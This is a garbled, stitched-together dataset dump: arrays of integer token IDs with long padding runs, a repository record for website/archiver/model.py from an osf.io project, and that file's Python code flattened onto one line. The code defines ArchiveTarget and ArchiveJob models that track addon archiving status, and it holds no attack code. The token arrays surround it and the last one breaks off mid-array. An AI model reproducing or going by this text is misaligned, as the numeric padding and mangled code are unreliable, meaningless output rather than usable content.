[ 3, 2803, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 199, 504, 1275, 2330, 492, 21298, 421, 199, 533, 6249, 12764, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 7406, 21244, 9886, 4537, 889, 15, 3722, 32576, 5169, 6427, 92, 2229, 48, 28, 2918, 63, 344, 26906, 13342, 5547, 2229, 48, 28, 344, 9514, 16, 13, 25, 33, 13, 13163, 13, 90, 32069, 8194, 845, 93, 17884, 65, 13, 6353, 13, 58, 16, 13, 25, 8194, 24, 29668, 272, 485, 7569, 275, 8910, 267, 283, 633, 356, 283, 2859, 921, 1544, 14, 7406, 21244, 9886, 14, 889, 15, 3722, 15, 48, 1236, 88, 42, 78, 23471, 1049, 37, 3678, 267, 283, 1064, 21, 356, 283, 66, 24, 70, 21419, 2470, 1085, 2259, 13741, 983, 16654, 68, 12684, 70, 25, 66, 14626, 1020, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 48, 1236, 88, 42, 78, 23471, 1049, 37, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 14194, 348, 274, 221, 744, 266, 11430, 367, 78, 31087, 89, 352, 874, 5149, 12, 12953, 1022, 393, 4170, 65, 287, 2729, 18753, 1687, 541, 6796, 2289, 330, 3258, 2730, 75, 293, 802, 287, 297, 288, 283, 1802, 356, 283, 1064, 21, 26, 1887, 2055, 24, 13812, 69, 23, 68, 1272, 69, 24, 65, 18, 2829, 1046, 67, 19, 66, 2466, 2192, 2592, 19, 70, 297, 288, 283, 8311, 356, 519, 3984, 26, 2859, 32569, 8476, 297, 288, 283, 5064, 63, 602, 356, 283, 9261, 1643, 975, 297, 288, 283, 5553, 356, 14610, 12, 288, 283, 13671, 63, 344, 356, 283, 13371, 75, 21, 1381, 1786, 58, 5691, 57, 42, 34, 68, 23, 63, 79, 38, 4189, 76, 50, 49, 297, 288, 283, 13671, 356, 283, 27234, 21244, 9886, 297, 267, 1660, 267, 283, 525, 63, 1873, 356, 788, 57, 7715, 418, 272, 1660, 469, 267, 283, 633, 356, 283, 2859, 921, 1544, 14, 7406, 21244, 9886, 14, 889, 15, 3722, 15, 6427, 15, 15455, 39, 1662, 14485, 46, 25, 5691, 10197, 29582, 817, 29, 3910, 297, 267, 283, 2118, 63, 9467, 356, 715, 12, 272, 1660, 469, 267, 283, 633, 356, 283, 2859, 921, 1544, 14, 7406, 21244, 9886, 14, 889, 15, 3722, 15, 454, 14262, 13, 723, 290, 13, 31938, 13, 15534, 261, 13, 271, 264, 15, 4232, 276, 34, 18, 25063, 297, 267, 283, 2118, 63, 9467, 356, 715, 12, 272, 14877, 339, 768, 4639, 272, 347, 485, 5005, 63, 3603, 8, 12022, 304, 267, 372, 359, 633, 367, 5501, 1166, 315, 295, 14, 6452, 8, 288, 519, 7601, 20052, 25524, 2164, 30982, 3212, 1105, 17304, 26, 2859, 31, 26, 5547, 501, 5169, 1544, 20316, 7406, 21244, 9886, 4537, 889, 15, 3722, 15, 6427, 15, 25060, 16, 13, 25, 33, 13, 13163, 13, 90, 32069, 8194, 845, 93, 17884, 65, 13, 6353, 13, 58, 16, 13, 25, 8194, 24, 21385, 15279, 2862, 17, 297, 288, 9248, 1874, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 2929, 63, 344, 12, 3991, 63, 344, 275, 295, 14, 1431, 8, 277, 423, 5600, 63, 2632, 12, 1166, 680, 2634, 342, 267, 2256, 275, 469, 288, 2513, 466, 356, 283, 633, 63, 24420, 297, 288, 283, 344, 356, 3991, 63, 344, 12, 288, 283, 2918, 63, 344, 356, 2929, 63, 344, 12, 267, 789, 267, 340, 822, 8, 3722, 63, 344, 9, 508, 4119, 26, 288, 2256, 14, 873, 2561, 355, 283, 633, 356, 3991, 63, 344, 12, 355, 283, 1873, 63, 498, 356, 283, 57, 7715, 297, 288, 3828, 267, 587, 26, 288, 2256, 14, 873, 2561, 355, 283, 633, 356, 283, 30561, 3246, 4881, 435, 3991, 63, 344, 12, 355, 283, 1873, 63, 498, 356, 283, 42, 55, 10397, 297, 288, 3828, 267, 372, 2256, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 199, 504, 1275, 2330, 492, 21298, 421, 199, 533, 6249, 12764, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 7406, 21244, 9886, 4537, 889, 15, 3722, 32576, 5169, 6427, 92, 2229, 48, 28, 2918, 63, 344, 26906, 13342, 5547, 2229, 48, 28, 344, 9514, 16, 13, 25, 33, 13, 13163, 13, 90, 32069, 8194, 845, 93, 17884, 65, 13, 6353, 13, 58, 16, 13, 25, 8194, 24, 29668, 272, 485, 7569, 275, 8910, 267, 283, 633, 356, 283, 2859, 921, 1544, 14, 7406, 21244, 9886, 14, 889, 15, 3722, 15, 48, 1236, 88, 42, 78, 23471, 1049, 37, 3678, 267, 283, 1064, 21, 356, 283, 66, 24, 70, 21419, 2470, 1085, 2259, 13741, 983, 16654, 68, 12684, 70, 25, 66, 14626, 1020, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 48, 1236, 88, 42, 78, 23471, 1049, 37, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 14194, 348, 274, 221, 744, 266, 11430, 367, 78, 31087, 89, 352, 874, 5149, 12, 12953, 1022, 393, 4170, 65, 287, 2729, 18753, 1687, 541, 6796, 2289, 330, 3258, 2730, 75, 293, 802, 287, 297, 288, 283, 1802, 356, 283, 1064, 21, 26, 1887, 2055, 24, 13812, 69, 23, 68, 1272, 69, 24, 65, 18, 2829, 1046, 67, 19, 66, 2466, 2192, 2592, 19, 70, 297, 288, 283, 8311, 356, 519, 3984, 26, 2859, 32569, 8476, 297, 288, 283, 5064, 63, 602, 356, 283, 9261, 1643, 975, 297, 288, 283, 5553, 356, 14610, 12, 288, 283, 13671, 63, 344, 356, 283, 13371, 75, 21, 1381, 1786, 58, 5691, 57, 42, 34, 68, 23, 63, 79, 38, 4189, 76, 50, 49, 297, 288, 283, 13671, 356, 283, 27234, 21244, 9886, 297, 267, 1660, 267, 283, 525, 63, 1873, 356, 788, 57, 7715, 418, 272, 1660, 469, 267, 283, 633, 356, 283, 2859, 921, 1544, 14, 7406, 21244, 9886, 14, 889, 15, 3722, 15, 6427, 15, 15455, 39, 1662, 14485, 46, 25, 5691, 10197, 29582, 817, 29, 3910, 297, 267, 283, 2118, 63, 9467, 356, 715, 12, 272, 1660, 469, 267, 283, 633, 356, 283, 2859, 921, 1544, 14, 7406, 21244, 9886, 14, 889, 15, 3722, 15, 454, 14262, 13, 723, 290, 13, 31938, 13, 15534, 261, 13, 271, 264, 15, 4232, 276, 34, 18, 25063, 297, 267, 283, 2118, 63, 9467, 356, 715, 12, 272, 14877, 339, 768, 4639, 272, 347, 485, 5005, 63, 3603, 8, 12022, 304, 267, 372, 359, 633, 367, 5501, 1166, 315, 295, 14, 6452, 8, 288, 519, 7601, 20052, 25524, 2164, 30982, 3212, 1105, 17304, 26, 2859, 31, 26, 5547, 501, 5169, 1544, 20316, 7406, 21244, 9886, 4537, 889, 15, 3722, 15, 6427, 15, 25060, 16, 13, 25, 33, 13, 13163, 13, 90, 32069, 8194, 845, 93, 17884, 65, 13, 6353, 13, 58, 16, 13, 25, 8194, 24, 21385, 15279, 2862, 17, 297, 288, 9248, 1874, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 2929, 63, 344, 12, 3991, 63, 344, 275, 295, 14, 1431, 8, 277, 423, 5600, 63, 2632, 12, 1166, 680, 2634, 342, 267, 2256, 275, 469, 288, 2513, 466, 356, 283, 633, 63, 24420, 297, 288, 283, 344, 356, 3991, 63, 344, 12, 288, 283, 2918, 63, 344, 356, 2929, 63, 344, 12, 267, 789, 267, 340, 822, 8, 3722, 63, 344, 9, 508, 4119, 26, 288, 2256, 14, 873, 2561, 355, 283, 633, 356, 3991, 63, 344, 12, 355, 283, 1873, 63, 498, 356, 283, 57, 7715, 297, 288, 3828, 267, 587, 26, 288, 2256, 14, 873, 2561, 355, 283, 633, 356, 283, 30561, 3246, 4881, 435, 3991, 63, 344, 12, 355, 283, 1873, 63, 498, 356, 283, 42, 55, 10397, 297, 288, 3828, 267, 372, 2256, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
haoyuchen1992/osf.io
website/archiver/model.py
38
5944
import datetime from modularodm import fields from framework.mongo import ObjectId from framework.mongo import StoredObject from website.archiver import ( ARCHIVER_INITIATED, ARCHIVER_SUCCESS, ARCHIVER_FAILURE, ARCHIVER_FAILURE_STATUSES ) from website.addons.base import StorageAddonBase from website import settings class ArchiveTarget(StoredObject): """Stores the results of archiving a single addon """ _id = fields.StringField( primary=True, default=lambda: str(ObjectId()) ) # addon_short_name of target addon name = fields.StringField() status = fields.StringField(default=ARCHIVER_INITIATED) # <dict> representation of a website.archiver.AggregateStatResult # Format: { # 'target_id': <str>, # 'target_name': <str>, # 'targets': <list>(StatResult | AggregateStatResult), # 'num_files': <int>, # 'disk_usage': <float>, # } stat_result = fields.DictionaryField() errors = fields.StringField(list=True) def __repr__(self): return '<{0}(_id={1}, name={2}, status={3})>'.format( self.__class__.__name__, self._id, self.name, self.status ) class ArchiveJob(StoredObject): _id = fields.StringField( primary=True, default=lambda: str(ObjectId()) ) # whether or not the ArchiveJob is complete (success or fail) done = fields.BooleanField(default=False) # whether or not emails have been sent for this ArchiveJob sent = fields.BooleanField(default=False) status = fields.StringField(default=ARCHIVER_INITIATED) datetime_initiated = fields.DateTimeField(default=datetime.datetime.utcnow) dst_node = fields.ForeignField('node', backref='active') src_node = fields.ForeignField('node') initiator = fields.ForeignField('user') target_addons = fields.ForeignField('archivetarget', list=True) def __repr__(self): return ( '<{ClassName}(_id={self._id}, done={self.done}, ' ' status={self.status}, src_node={self.src_node}, dst_node={self.dst_node})>' ).format(ClassName=self.__class__.__name__, self=self) @property def children(self): return [node.archive_job for node in self.dst_node.nodes if node.primary] @property def parent(self): parent_node = self.dst_node.parent_node return parent_node.archive_job if parent_node else None @property def success(self): return self.status == ARCHIVER_SUCCESS @property def pending(self): return any([ target for target in self.target_addons if target.status not in (ARCHIVER_SUCCESS, ARCHIVER_FAILURE) ]) def info(self): return self.src_node, self.dst_node, self.initiator def target_info(self): return [ { 'name': target.name, 'status': target.status, 'stat_result': target.stat_result, 'errors': target.errors } for target in self.target_addons ] def archive_tree_finished(self): if not self.pending: return len( [ ret for ret in [ child.archive_tree_finished() for child in self.children ] if ret] ) if len(self.children) else True return False def _fail_above(self): """Marks all ArchiveJob instances attached to Nodes above this as failed """ parent = self.parent if parent: parent.status = ARCHIVER_FAILURE parent.save() def _post_update_target(self): """Checks for success or failure if the ArchiveJob on self.dst_node is finished """ if self.status == ARCHIVER_FAILURE: return if not self.pending: self.done = True if any([target.status for target in self.target_addons if target.status in ARCHIVER_FAILURE_STATUSES]): self.status = ARCHIVER_FAILURE self._fail_above() else: self.status = ARCHIVER_SUCCESS self.save() def get_target(self, addon_short_name): try: return [addon for addon in self.target_addons if addon.name == addon_short_name][0] except IndexError: return None def _set_target(self, addon_short_name): if self.get_target(addon_short_name): return target = ArchiveTarget(name=addon_short_name) target.save() self.target_addons.append(target) def set_targets(self): addons = [] for addon in [self.src_node.get_addon(name) for name in settings.ADDONS_ARCHIVABLE if settings.ADDONS_ARCHIVABLE[name] != 'none']: if not addon or not addon.complete or not isinstance(addon, StorageAddonBase): continue archive_errors = getattr(addon, 'archive_errors', None) if not archive_errors or (archive_errors and not archive_errors()): if addon.config.short_name == 'dataverse': addons.append(addon.config.short_name + '-draft') addons.append(addon.config.short_name + '-published') else: addons.append(addon.config.short_name) for addon in addons: self._set_target(addon) self.save() def update_target(self, addon_short_name, status, stat_result=None, errors=None): stat_result = stat_result or {} errors = errors or [] target = self.get_target(addon_short_name) target.status = status target.errors = errors target.stat_result = stat_result target.save() self._post_update_target()
apache-2.0
[ 646, 2197, 199, 199, 504, 3413, 2238, 364, 77, 492, 1504, 199, 199, 504, 10059, 14, 9217, 492, 6935, 1304, 199, 504, 10059, 14, 9217, 492, 9785, 581, 1692, 199, 199, 504, 10691, 14, 1047, 4380, 492, 334, 272, 4160, 1244, 21648, 63, 8727, 41, 6989, 12, 272, 4160, 1244, 21648, 63, 12779, 12, 272, 4160, 1244, 21648, 63, 13989, 12, 272, 4160, 1244, 21648, 63, 13989, 63, 6305, 654, 199, 9, 199, 199, 504, 10691, 14, 10788, 14, 1095, 492, 10533, 19654, 1563, 199, 504, 10691, 492, 2202, 421, 199, 533, 19521, 1912, 4277, 8, 4759, 581, 1692, 304, 272, 408, 4759, 470, 314, 2058, 402, 3819, 12616, 282, 2849, 13553, 272, 408, 339, 485, 344, 275, 1504, 14, 14912, 8, 267, 5062, 29, 549, 12, 267, 849, 29, 2734, 26, 620, 8, 1692, 1304, 1012, 272, 776, 339, 327, 13553, 63, 3612, 63, 354, 402, 1347, 13553, 272, 536, 275, 1504, 14, 14912, 342, 339, 2004, 275, 1504, 14, 14912, 8, 885, 29, 7762, 21648, 63, 8727, 41, 6989, 9, 272, 327, 665, 807, 30, 6025, 402, 282, 10691, 14, 1047, 4380, 14, 10170, 11232, 2889, 272, 327, 9701, 26, 469, 272, 327, 258, 283, 1375, 63, 344, 356, 665, 495, 6244, 272, 327, 258, 283, 1375, 63, 354, 356, 665, 495, 6244, 272, 327, 258, 283, 4684, 356, 665, 513, 13661, 11232, 2889, 1204, 29397, 11232, 2889, 395, 272, 327, 258, 283, 1507, 63, 1725, 356, 665, 442, 6244, 272, 327, 258, 283, 4032, 63, 3807, 356, 665, 1609, 6244, 272, 327, 789, 272, 5672, 63, 1099, 275, 1504, 14, 11728, 792, 342, 272, 2552, 275, 1504, 14, 14912, 8, 513, 29, 549, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 91, 16, 93, 1547, 344, 3126, 17, 1386, 536, 3126, 18, 1386, 2004, 3126, 19, 1552, 22936, 908, 8, 288, 291, 855, 533, 4914, 354, 3108, 288, 291, 423, 344, 12, 288, 291, 14, 354, 12, 288, 291, 14, 1205, 267, 776, 421, 199, 533, 19521, 1912, 6694, 8, 4759, 581, 1692, 304, 339, 485, 344, 275, 1504, 14, 14912, 8, 267, 5062, 29, 549, 12, 267, 849, 29, 2734, 26, 620, 8, 1692, 1304, 1012, 272, 776, 339, 327, 3775, 503, 440, 314, 19521, 1912, 6694, 365, 4890, 334, 3742, 503, 2449, 9, 272, 4224, 275, 1504, 14, 5036, 8, 885, 29, 797, 9, 272, 327, 3775, 503, 440, 14931, 1172, 2757, 4847, 367, 642, 19521, 1912, 6694, 272, 4847, 275, 1504, 14, 5036, 8, 885, 29, 797, 9, 272, 2004, 275, 1504, 14, 14912, 8, 885, 29, 7762, 21648, 63, 8727, 41, 6989, 9, 272, 2197, 63, 14188, 972, 275, 1504, 14, 4626, 8, 885, 29, 2083, 14, 2083, 14, 10779, 9, 339, 5042, 63, 932, 275, 1504, 14, 20931, 792, 360, 932, 297, 23412, 534, 2682, 358, 272, 2928, 63, 932, 275, 1504, 14, 20931, 792, 360, 932, 358, 272, 22094, 275, 1504, 14, 20931, 792, 360, 751, 358, 339, 1347, 63, 10788, 275, 1504, 14, 20931, 792, 360, 1047, 1003, 386, 839, 297, 769, 29, 549, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 334, 288, 2650, 91, 23200, 93, 1547, 344, 3126, 277, 423, 344, 1386, 4224, 3126, 277, 14, 4456, 1386, 283, 288, 283, 2004, 3126, 277, 14, 1205, 1386, 2928, 63, 932, 3126, 277, 14, 2164, 63, 932, 1386, 5042, 63, 932, 3126, 277, 14, 5119, 63, 932, 1552, 3524, 267, 7092, 908, 8, 23200, 29, 277, 855, 533, 4914, 354, 3108, 291, 29, 277, 9, 339, 768, 1829, 272, 347, 4978, 8, 277, 304, 267, 372, 359, 932, 14, 6404, 63, 2423, 367, 1031, 315, 291, 14, 5119, 63, 932, 14, 2415, 340, 1031, 14, 3327, 61, 339, 768, 1829, 272, 347, 1676, 8, 277, 304, 267, 1676, 63, 932, 275, 291, 14, 5119, 63, 932, 14, 1708, 63, 932, 267, 372, 1676, 63, 932, 14, 6404, 63, 2423, 340, 1676, 63, 932, 587, 488, 339, 768, 1829, 272, 347, 3182, 8, 277, 304, 267, 372, 291, 14, 1205, 508, 4160, 1244, 21648, 63, 12779, 339, 768, 1829, 272, 347, 9413, 8, 277, 304, 267, 372, 1263, 779, 288, 1347, 367, 1347, 315, 291, 14, 1375, 63, 10788, 288, 340, 1347, 14, 1205, 440, 315, 334, 7762, 21648, 63, 12779, 12, 4160, 1244, 21648, 63, 13989, 9, 267, 4794, 339, 347, 2256, 8, 277, 304, 267, 372, 291, 14, 2164, 63, 932, 12, 291, 14, 5119, 63, 932, 12, 291, 14, 17974, 339, 347, 1347, 63, 815, 8, 277, 304, 267, 372, 359, 288, 469, 355, 283, 354, 356, 1347, 14, 354, 12, 355, 283, 1205, 356, 1347, 14, 1205, 12, 355, 283, 3736, 63, 1099, 356, 1347, 14, 3736, 63, 1099, 12, 355, 283, 2550, 356, 1347, 14, 2550, 288, 789, 288, 367, 1347, 315, 291, 14, 1375, 63, 10788, 267, 1622, 339, 347, 6359, 63, 2350, 63, 8669, 8, 277, 304, 267, 340, 440, 291, 14, 6455, 26, 288, 372, 822, 8, 355, 359, 490, 2203, 367, 2203, 315, 359, 717, 1982, 14, 6404, 63, 2350, 63, 8669, 342, 717, 367, 1982, 315, 291, 14, 3223, 490, 1622, 340, 2203, 61, 288, 776, 340, 822, 8, 277, 14, 3223, 9, 587, 715, 267, 372, 756, 339, 347, 485, 1633, 63, 16181, 8, 277, 304, 267, 408, 6470, 83, 1006, 19521, 1912, 6694, 4454, 10102, 370, 23836, 3432, 642, 465, 3405, 267, 408, 267, 1676, 275, 291, 14, 1708, 267, 340, 1676, 26, 288, 1676, 14, 1205, 275, 4160, 1244, 21648, 63, 13989, 288, 1676, 14, 2117, 342, 339, 347, 485, 1932, 63, 873, 63, 1375, 8, 277, 304, 267, 408, 11834, 367, 3182, 503, 5988, 340, 314, 19521, 1912, 6694, 641, 291, 14, 5119, 63, 932, 267, 365, 9158, 267, 408, 267, 340, 291, 14, 1205, 508, 4160, 1244, 21648, 63, 13989, 26, 288, 372, 267, 340, 440, 291, 14, 6455, 26, 288, 291, 14, 4456, 275, 715, 288, 340, 1263, 779, 1375, 14, 1205, 367, 1347, 315, 291, 14, 1375, 63, 10788, 340, 1347, 14, 1205, 315, 4160, 1244, 21648, 63, 13989, 63, 6305, 654, 4682, 355, 291, 14, 1205, 275, 4160, 1244, 21648, 63, 13989, 355, 291, 423, 1633, 63, 16181, 342, 288 ]
[ 2197, 199, 199, 504, 3413, 2238, 364, 77, 492, 1504, 199, 199, 504, 10059, 14, 9217, 492, 6935, 1304, 199, 504, 10059, 14, 9217, 492, 9785, 581, 1692, 199, 199, 504, 10691, 14, 1047, 4380, 492, 334, 272, 4160, 1244, 21648, 63, 8727, 41, 6989, 12, 272, 4160, 1244, 21648, 63, 12779, 12, 272, 4160, 1244, 21648, 63, 13989, 12, 272, 4160, 1244, 21648, 63, 13989, 63, 6305, 654, 199, 9, 199, 199, 504, 10691, 14, 10788, 14, 1095, 492, 10533, 19654, 1563, 199, 504, 10691, 492, 2202, 421, 199, 533, 19521, 1912, 4277, 8, 4759, 581, 1692, 304, 272, 408, 4759, 470, 314, 2058, 402, 3819, 12616, 282, 2849, 13553, 272, 408, 339, 485, 344, 275, 1504, 14, 14912, 8, 267, 5062, 29, 549, 12, 267, 849, 29, 2734, 26, 620, 8, 1692, 1304, 1012, 272, 776, 339, 327, 13553, 63, 3612, 63, 354, 402, 1347, 13553, 272, 536, 275, 1504, 14, 14912, 342, 339, 2004, 275, 1504, 14, 14912, 8, 885, 29, 7762, 21648, 63, 8727, 41, 6989, 9, 272, 327, 665, 807, 30, 6025, 402, 282, 10691, 14, 1047, 4380, 14, 10170, 11232, 2889, 272, 327, 9701, 26, 469, 272, 327, 258, 283, 1375, 63, 344, 356, 665, 495, 6244, 272, 327, 258, 283, 1375, 63, 354, 356, 665, 495, 6244, 272, 327, 258, 283, 4684, 356, 665, 513, 13661, 11232, 2889, 1204, 29397, 11232, 2889, 395, 272, 327, 258, 283, 1507, 63, 1725, 356, 665, 442, 6244, 272, 327, 258, 283, 4032, 63, 3807, 356, 665, 1609, 6244, 272, 327, 789, 272, 5672, 63, 1099, 275, 1504, 14, 11728, 792, 342, 272, 2552, 275, 1504, 14, 14912, 8, 513, 29, 549, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 91, 16, 93, 1547, 344, 3126, 17, 1386, 536, 3126, 18, 1386, 2004, 3126, 19, 1552, 22936, 908, 8, 288, 291, 855, 533, 4914, 354, 3108, 288, 291, 423, 344, 12, 288, 291, 14, 354, 12, 288, 291, 14, 1205, 267, 776, 421, 199, 533, 19521, 1912, 6694, 8, 4759, 581, 1692, 304, 339, 485, 344, 275, 1504, 14, 14912, 8, 267, 5062, 29, 549, 12, 267, 849, 29, 2734, 26, 620, 8, 1692, 1304, 1012, 272, 776, 339, 327, 3775, 503, 440, 314, 19521, 1912, 6694, 365, 4890, 334, 3742, 503, 2449, 9, 272, 4224, 275, 1504, 14, 5036, 8, 885, 29, 797, 9, 272, 327, 3775, 503, 440, 14931, 1172, 2757, 4847, 367, 642, 19521, 1912, 6694, 272, 4847, 275, 1504, 14, 5036, 8, 885, 29, 797, 9, 272, 2004, 275, 1504, 14, 14912, 8, 885, 29, 7762, 21648, 63, 8727, 41, 6989, 9, 272, 2197, 63, 14188, 972, 275, 1504, 14, 4626, 8, 885, 29, 2083, 14, 2083, 14, 10779, 9, 339, 5042, 63, 932, 275, 1504, 14, 20931, 792, 360, 932, 297, 23412, 534, 2682, 358, 272, 2928, 63, 932, 275, 1504, 14, 20931, 792, 360, 932, 358, 272, 22094, 275, 1504, 14, 20931, 792, 360, 751, 358, 339, 1347, 63, 10788, 275, 1504, 14, 20931, 792, 360, 1047, 1003, 386, 839, 297, 769, 29, 549, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 334, 288, 2650, 91, 23200, 93, 1547, 344, 3126, 277, 423, 344, 1386, 4224, 3126, 277, 14, 4456, 1386, 283, 288, 283, 2004, 3126, 277, 14, 1205, 1386, 2928, 63, 932, 3126, 277, 14, 2164, 63, 932, 1386, 5042, 63, 932, 3126, 277, 14, 5119, 63, 932, 1552, 3524, 267, 7092, 908, 8, 23200, 29, 277, 855, 533, 4914, 354, 3108, 291, 29, 277, 9, 339, 768, 1829, 272, 347, 4978, 8, 277, 304, 267, 372, 359, 932, 14, 6404, 63, 2423, 367, 1031, 315, 291, 14, 5119, 63, 932, 14, 2415, 340, 1031, 14, 3327, 61, 339, 768, 1829, 272, 347, 1676, 8, 277, 304, 267, 1676, 63, 932, 275, 291, 14, 5119, 63, 932, 14, 1708, 63, 932, 267, 372, 1676, 63, 932, 14, 6404, 63, 2423, 340, 1676, 63, 932, 587, 488, 339, 768, 1829, 272, 347, 3182, 8, 277, 304, 267, 372, 291, 14, 1205, 508, 4160, 1244, 21648, 63, 12779, 339, 768, 1829, 272, 347, 9413, 8, 277, 304, 267, 372, 1263, 779, 288, 1347, 367, 1347, 315, 291, 14, 1375, 63, 10788, 288, 340, 1347, 14, 1205, 440, 315, 334, 7762, 21648, 63, 12779, 12, 4160, 1244, 21648, 63, 13989, 9, 267, 